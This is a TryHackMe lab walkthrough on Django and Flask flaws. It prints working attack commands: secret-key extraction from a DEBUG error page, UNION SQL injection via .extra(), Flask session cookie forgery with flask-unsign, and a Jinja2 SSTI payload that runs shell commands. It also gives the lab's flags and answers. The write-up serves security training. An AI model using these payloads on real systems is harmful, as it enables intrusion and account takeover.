TryHackMe Walkthrough Web Frameworks: Python
Arman Kumar
Overview
This room focused on identifying framework-specific vulnerabilities by reviewing the source code of a web application built with Django and Flask. Instead of black-box testing, the objective was to locate insecure coding patterns in the source code and exploit them on the live application.
The room covered:
- Django DEBUG Information Disclosure
- Django ORM SQL Injection
- Flask Session Cookie Forgery
- Jinja2 Server-Side Template Injection (SSTI)
- Cross-Framework Secret Reuse
- Privilege Escalation
Task 1 — Django DEBUG Information Disclosure
Conclusion
The Django application was running with DEBUG=True, exposing the technical 500 error page. A custom exception leaked the application’s SECRETKEY, allowing recovery of Django’s signing secret.
Command
bash
curl -s http://MACHINEIP/error/ | grep -m 1 -o ‘SECRETKEY=[^ <]’
Questions
Which value enables Django’s technical error page?
DEBUG
Which setting stores Django’s signing secret?
SECRETKEY
What is the leaked SECRETKEY?
django-insecure-7h3_5h4r3d_fr4m3w0rk_k3y_2026
Task 2 — Django ORM SQL Injection
Conclusion
Although Django ORM normally protects against SQL Injection, the developer used .extra() with an f-string, allowing user input to become part of the SQL query. A UNION-based SQL Injection retrieved the hidden flag.
Command
bash
curl -s — get http://MACHINEIP/articles/ \
— data-urlencode “q=’) UNION SELECT id,value,value FROM coreflag — “
Questions
Which ORM method introduced SQL Injection?
extra
Which keyword safely parameterizes values?
params
What is the flag?
THM{dj4ng0_3xtr4_0rm_sql1}
Task 3 — Flask Session Cookie Forgery
Conclusion
Flask stores session data inside signed client-side cookies. Since both Django and Flask shared the same SECRETKEY, the leaked key was used to forge an administrator session and access protected resources.
Decode Session
bash
flask-unsign — decode — cookie “<cookie>”
Forge Admin Session
bash
flask-unsign — sign \
— cookie “{‘role’:’admin’}” \
— secret “<SECRETKEY>”
Access Dashboard
bash
curl -H “Cookie: session=<forgedcookie>” \
http://MACHINEIP/dashboard
Questions
Which secret signs Flask sessions?
SECRETKEY
Which tool forges Flask session cookies?
flask-unsign
Get Arman Kumar’s stories in your inbox
Join Medium for free to get updates from this writer.
What is the dashboard flag?
THM{fl45k_s3ss10n_f0rg3d}
Task 4 — Jinja2 Server-Side Template Injection (SSTI)
Conclusion
The application rendered user input using rendertemplatestring(), allowing arbitrary Jinja2 template execution. By traversing Python’s object graph, command execution was achieved and the flag was read directly from the server.
SSTI Test
bash
curl -s — get http://MACHINEIP/search \
— data-urlencode “q={{77}}”
Confirm Jinja2
bash
curl -s — get http://MACHINEIP/search \
— data-urlencode “q={{7'7'}}”
Read Flag
bash
curl -s — get http://MACHINEIP/search \
— data-urlencode \
“q={{cycler.init.globals.os.popen(‘cat /flag.txt’).read()}}”
Questions
Which Flask function caused SSTI?
rendertemplatestring
What does {{7'7'}} return in Jinja2?
7777777
What is the flag?
THM{j1nj4_55t1_rc3_ch41n}
Task 5 — Cross Framework Secret Reuse
Conclusion
Both Django and Flask relied on the same APPSECRETKEY. After leaking the key from Django, it was reused to forge a superadmin Flask session, resulting in complete privilege escalation.
Recover Secret
bash
KEY=$(curl -s http://MACHINEIP/error/ \
| grep -m 1 -o ‘django-insecure-[^ <]’)
Forge Superadmin Session
bash
flask-unsign \
— sign \
— cookie “{‘role’:’superadmin’}” \
— secret “$KEY”
Access Console
bash
curl \
-H “Cookie: session=<cookie>” \
http://MACHINEIP/console
— -
Questions
Which framework serves /dashboard and /console?
Flask
Which Django endpoint leaks the SECRETKEY?
/error/
What is the final flag?
THM{py_fr4m3w0rk_ch41n_pwn3d}
— -
Attack Chain Summary
1. Identified DEBUG=True on the Django application.
2. Triggered the technical 500 page to leak the SECRETKEY.
3. Exploited SQL Injection through Django’s .extra() ORM method.
4. Forged a Flask administrator session using the leaked signing key.
5. Exploited Jinja2 SSTI to achieve Remote Code Execution.
6. Reused the shared secret to forge a superadmin session.
7. Accessed the protected console and obtained the final flag.
— -
Key Security Issues
- DEBUG enabled in production
- Sensitive secret exposed through exception messages
- Unsafe use of .extra() leading to SQL Injection
- Client-side session forgery due to leaked signing key
- Jinja2 Server-Side Template Injection
- Secret reuse across multiple services
- Privilege escalation through session manipulation
— -
Severity
Critical — Multiple framework-specific vulnerabilities could be chained together, allowing information disclosure, SQL Injection, Remote Code Execution, session forgery, and complete application compromise through reuse of a shared signing secret.









